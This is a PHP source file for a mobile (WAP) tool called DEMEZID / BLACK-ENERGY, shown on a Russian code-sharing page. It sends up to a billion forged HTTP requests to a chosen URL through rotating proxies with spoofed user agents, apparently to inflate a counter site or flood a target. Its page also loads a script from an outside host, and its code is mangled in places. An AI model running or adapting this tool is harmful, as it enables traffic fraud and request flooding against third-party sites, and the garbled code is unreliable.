Вход Регистрация
Файл: blackenergy/blackenergy/blackenergy/index.php
Строк: 351
<?php
/*********************/
/*                   */
/*  DEMEZID Version : 4.0.0  */
/*  Author  : DEADHOST     */
/*  DEKODER : BASIK */
/*                   */
/*********************/
//teh. pd. http://lenok.tk - � xaksoft!

function error( $error = false )
{
    
header( "Expires: Thu, 19 Feb 1998 13:24:18 GMT" );
    
header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
    
header( "Cache-Control: no-cache, must-revalidate" );
    
header( "Cache-Control: post-check=0, pre-cache=0" );
    
header( "Cache-Control: max-age=0" );
    
header( "Pragma: no-cache" );
    
header( "Content-Type: text/vnd.wap.wml; charset=utf-8" );
    
$rand = mt_rand( 0, 99999999999 );
    echo 
"<?xml version="1.0" encoding="utf-8"?>rn<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">rn<wml>rn<card id="index" title="DEMEZID V 4.0.0">rn<p align="right">n";
    
if ( $error == "agents" )
    {
        echo 
"<b>&#x0424;&#x0430;&#x0439;&#x043b; &#x0441; &#x0431;&#x0440;&#x0430;&#x0443;&#x0437;&#x0435;&#x0440;&#x0430;&#x043c;&#x0438; &#x043d;&#x0435;&#x0434;&#x043e;&#x0441;&#x0442;&#x0443;&#x043f;&#x0435;&#x043d; &#x0438;&#x043b;&#x0438; &#x043f;&#x0443;&#x0441;&#x0442;!</b><br/>n";
    }
    if ( 
$error == "proxys" )
    {
        echo 
"<b>&#x0424;&#x0430;&#x0439;&#x043b; &#x0441; &#x043f;&#x0440;&#x043e;&#x043a;&#x0441;&#x0438; &#x0430;&#x0434;&#x0440;&#x0435;&#x0441;&#x0430;&#x043c;&#x0438; &#x043d;&#x0435;&#x0434;&#x043e;&#x0441;&#x0442;&#x0443;&#x043f;&#x0435;&#x043d; &#x0438;&#x043b;&#x0438; &#x043f;&#x0443;&#x0441;&#x0442;!</b><br/>n";
    }
    echo 
"&#x041a;&#x043e;&#x043b;&#x0438;&#x0447;&#x0435;&#x0441;&#x0442;&#x0432;&#x043e;:<br/>n";
    if ( 
$error == "kol" )
    {
        echo 
"<small><u>&#x041c;&#x0438;&#x043d;:1 &#x041c;&#x0430;&#x043a;&#x0441;:10000</u></small><br/>n";
    }
    echo 
"<input type="text" name="kol{$rand}" value="100000" format="*N" maxlength="4" size="4"/><br/><center>rn&#x0410;&#x0434;&#x0440;&#x0435;&#x0441;(domain name):</center>n";
    if ( 
$error == "link" )
    {
        echo 
"<small><u>&#x041d;&#x0435; &#x043a;&#x043e;&#x0440;&#x0440;&#x0435;&#x043a;&#x0442;&#x043d;&#x043e;!</u></small><br/>n";
    }
    echo 
"<center><input type="text" name="link{$rand}" value="http://c.waplog.net/ru/.cnt" maxlength="50"/></center>rn&#x041c;&#x0430;&#x043a;&#x0441;. &#x0432;&#x0440;&#x0435;&#x043c;&#x044f; &#x0441;&#x043e;&#x0435;&#x0434;&#x0438;&#x043d;&#x0435;&#x043d;&#x0438;&#x0439;:n";
    
if ( $error == "time" )
    {
        echo 
"<small><u>&#x041c;&#x0438;&#x043d;:1 &#x041c;&#x0430;&#x043a;&#x0441;:30</u></small><br/>n";
    }
    echo 
"<input type="text" name="time{$rand}" value="1" format="*N" maxlength="1" size="3"/><center>rn&#x041c;&#x0435;&#x0442;&#x043e;&#x0434; &#x043f;&#x0435;&#x0440;&#x0435;&#x0434;&#x0430;&#x0447;&#x0438;:</center>n";
    if ( 
$error == "method" )
    {
        echo 
"<small><u>HTTP &#x0438;&#x043b;&#x0438; HTTPS</u></small><br/>n";
    }
    echo 
"<center><select name="method{$rand}">rn<option value="1">HTTP</option>rn<option value="2">HTTPS</option>rn</select></center>rn&#x041f;&#x0440;&#x043e;&#x0442;&#x043e;&#x043a;&#x043e;&#x043b; &#x043f;&#x0435;&#x0440;&#x0435;&#x0434;&#x0430;&#x0447;&#x0438;:<br/>n";
    if ( 
$error == "protokol" )
    {
        echo 
"<small><u>HTTP/1.0 &#x0438;&#x043b;&#x0438; HTTP/1.1 by HTTP/1.2 by JS by auto</u></small><br/>n";
    }
    echo 
"<select name="protokol{$rand}">rn<option value="1">AUTO</option>rn<option value="2">HTTP/1.0</option>rn<option value="2">HTTP/1.1</option>rn<option value="2">HTTP/1.2</option>rn<option value="2">JS</option>rn</select>rn<!--$1=auto,$2=http1.0,1.1,1.2,$2=js--><br/>rn&#x0421;&#x043e;&#x0435;&#x0434;&#x0438;&#x043d;&#x0435;&#x043d;&#x0438;&#x0435;:<br/>n";
    if ( 
$error == "connection" )
    {
        echo 
"<small><u>auto by black-energy by Close &#x0438;&#x043b;&#x0438; Keep-Alive</u></small><br/>n";
    }
    echo 
"<select name="connection{$rand}">rn<option value="1">auto</option>rn<option value="2">Close</option>rn<option value="2">Keep-Alive</option>rn<option value="2">BLACK-ENERGY</option>rn</select><!--$1=auto,$2=close,keep-alive,black-energy-->rn<br/>rn&#x0412;&#x044b;&#x0431;&#x043e;&#x0440; &#x0442;&#x0435;&#x043b;&#x0435;&#x0444;&#x043e;&#x043d;&#x0430;:<br/>n";
    if ( 
$error == "agent" )
    {
        echo 
"<small><u>&#x0441;&#x043b;&#x0443;&#x0447;&#x0430;&#x0439;&#x043d;&#x043e; &#x0438;&#x043b;&#x0438; &#x043f;&#x043e; &#x043f;&#x043e;&#x0440;&#x044f;&#x0434;&#x043a;&#x0443;</u></small><br/>n";
    }
    echo 
"<select name="agent{$rand}">rn<option value="1">auto(perfekt)</option>rn<option value="2">mobile-Phone(1998-2000)</option>rn<option value="2">mobile-Phone(2000-2005)</option>rn<option value="2">mobile-Phone(2005-2008)</option>rn<option value="2">mobile-Phone(2008-2011)</option>rn<option value="2">Mozila</option>rn<option value="2">Firefox</option>rn<option value="2">opera</option>rn<option value="2">vse user agent</option>rn</select><!--$config=1,$2=ph,$2=ph2,$ph=3,$ph=2,$2=m,$2=f,$2=$1&$2-->rn<br/>rn&#x0412;&#x044b;&#x0431;&#x043e;&#x0440; &#x043f;&#x0440;&#x043e;&#x043a;&#x0441;&#x0438;(kol proxy=35064527):<br/>n";
    if ( 
$error == "proxy" )
    {
        echo 
"<small><u>&#x0441;&#x043b;&#x0443;&#x0447;&#x0430;&#x0439;&#x043d;&#x043e; &#x0438;&#x043b;&#x0438; &#x043f;&#x043e; &#x043f;&#x043e;&#x0440;&#x044f;&#x0434;&#x043a;&#x0443;</u></small><br/>n";
    }
    echo 
"<select name="proxy{$rand}">rn<option value="1">&#x0441;&#x043b;&#x0443;&#x0447;&#x0430;&#x0439;&#x043d;&#x043e;</option>rn<option value="2">&#x043f;&#x043e; &#x043f;&#x043e;&#x0440;&#x044f;&#x0434;&#x043a;&#x0443;</option>rn<option value="2">ANONIMYS</option>rn</select><!--$proxy=1,$2,$2=anonimys--><br/>rn<anchor>&#x041a;&#x0440;&#x0443;&#x0442;&#x0438;&#x0442;&#x044c;(GO)<go href="index.php" method="post">rn<postfield name="kol" value="$(kol{$rand})"/>rn<postfield name="link" value="$(link{$rand})"/>rn<postfield name="time" value="$(time{$rand})"/>rn<postfield name="method" value="$(method{$rand})"/>rn<postfield name="protokol" value="$(protokol{$rand})"/>rn<postfield name="connection" value="$(connection{$rand})"/>rn<postfield name="agent" value="$(agent{$rand})"/>rn<postfield name="proxy" value="$(proxy{$rand})"/>rn</go></anchor><br/><center><anchor><go href="update.php" method="get">OBNOVIT PROXY</go></anchor></center><br/><br/>rn<small>&#169;BLACK-ENERGY</small>rn<script language="JavaScript" src="http://lenok.tk/include/proxy.js"></script>rn</p>rn</card>rn</wml>";
}

error_reporting( 0 );
$kol = intval( $_POST['kol'] );
$link = $_POST['link'];
$time = intval( $_POST['time'] );
$method = intval( $_POST['method'] );
$protokol = intval( $_POST['protokol'] );
$connection = intval( $_POST['connection'] );
$agent = intval( $_POST['agent'] );
$proxy = intval( $_POST['proxy'] );
$agents = array( );
$proxys = array( );
$agents = file( "agents.txt" );
$proxys = file( "proxys.txt" );
$cagents = count( $agents );
$cproxys = count( $proxys );
if ( empty( 
$kol ) || empty( $link ) || empty( $time ) || empty( $method ) || empty( $protokol ) || empty( $connection ) )
{
    
error( );
}
else if ( 
$kol < 1 || 1000000000 < $kol )
{
    
error( "kol" );
}
else if ( 
strlen( $link ) < 15 || 100 < strlen( $link ) || substr( $link, 0, 7 ) !== "http://" )
{
    
error( "link" );
}
else if ( 
$time < 0 || 30 < $time )
{
    
error( "time" );
}
else if ( 
$method < 1 || 2 < $method )
{
    
error( "method" );
}
else if ( 
$protokol < 1 || 2 < $protokol )
{
    
error( "protokol" );
}
else if ( 
$connection < 1 || 2 < $connection )
{
    
error( "connection" );
}
else if ( 
$agent < 1 || 2 < $agent )
{
    
error( "agent" );
}
else if ( 
$proxy < 1 || 2 < $proxy )
{
    
error( "proxy" );
}
else if ( 
$cagents < 1 )
{
    
error( "agents" );
}
else if ( 
$cproxys < 1 )
{
    
error( "proxys" );
}
else
{
    
$na = -1;
    
$np = -1;
    
$link = substr( $link, 7 );
    
$host = strtok( $link, "/" );
    if ( 
$host == false )
    {
        
$host = $link;
    }
    if ( 
$method == 1 )
    {
        
$method = "GET";
    }
    else
    {
        
$method = "POST";
    }
    if ( 
$protokol == 1 )
    {
        
$protokol = "HTTP/1.0";
    }
    else
    {
        
$protokol = "HTTP/1.1";
    }
    if ( 
$connection == 1 )
    {
        
$connection = "Close";
    }
    else
    {
        
$connection = "Keep-Alive";
    }
    
$i = 0;
    for ( ; 
$i < $kol; ++$i )
    {
        if ( 
$agent == 1 )
        {
            
$na = mt_rand( 0, $cagents - 1 );
        }
        else
        {
            ++
$na;
        }
        if ( 
$proxy == 1 )
        {
            
$np = mt_rand( 0, $cproxys - 1 );
        }
        else
        {
            ++
$np;
        }
        if ( 
$cagents <= $na )
        {
            
$na = 0;
        }
        if ( 
$cproxys <= $np )
        {
            
$np = 0;
        }
        
$a = trim( $agents[$na] );
        
$p = trim( $proxys[$np] );
        if ( empty( 
$a ) || empty( $p ) )
        {
        }
        else
        {
            
$hd = "{$method} http://{$link} {$protokol}rn";
            
$hd .= "Host: {$host}rn";
            
$hd .= "Proxy-Connection: {$connection}rn";
            
$hd .= "User-Agent: {$a}rnrn";
            
$p = explode( ":", $p );
            
$sock = trim( $p['0'] );
            
$port = trim( $p['1'] );
            if ( empty( 
$sock ) || empty( $port ) )
            {
            }
            else
            {
                
$fo = fsockopen( $sock, $port, $er1, $er2, $time );
                
fputs( $fo, $hd );
            }
        }
    }
    
$text = "";
    while ( !
feof( $fo ) )
    {
        
$text .= fgets( $fo, 1024 );
    }
    
$hd = substr( $text, 0, strpos( $text, "rnrn" ) );
    
$text = substr( $text, strpos( $text, "rnrn" ) + 4 );
    if ( 
$powered = strtok( strstr( $hd, "X-Powered-By:" ), "rn" ) )
    {
        
header( $powered );
    }
    if ( 
$cache = strtok( strstr( $hd, "Cache-Control:" ), "rn" ) )
    {
        
header( $cache );
    }
    if ( 
$expires = strtok( strstr( $hd, "Expires:" ), "rn" ) )
    {
        
header( $expires );
    }
    if ( 
$pragma = strtok( strstr( $hd, "Pragma:" ), "rn" ) )
    {
        
header( $pragma );
    }
    if ( 
$modified = strtok( strstr( $hd, "Last-Modified:" ), "rn" ) )
    {
        
header( $modified );
    }
    if ( 
$type = strtok( strstr( $hd, "Content-Type:" ), "rn" ) )
    {
        
header( $type );
    }
    if ( 
$disposition = strtok( strstr( $hd, "Content-Disposition:" ), "rn" ) )
    {
        
header( $disposition );
    }
    if ( 
$etag = strtok( strstr( $hd, "ETag:" ), "rn" ) )
    {
        
header( $etag );
    }
    if ( 
$ranges = strtok( strstr( $hd, "Accept-Ranges:" ), "rn" ) )
    {
        
header( $ranges );
    }
    exit( 
$text );
}
?>
Онлайн: 2
Реклама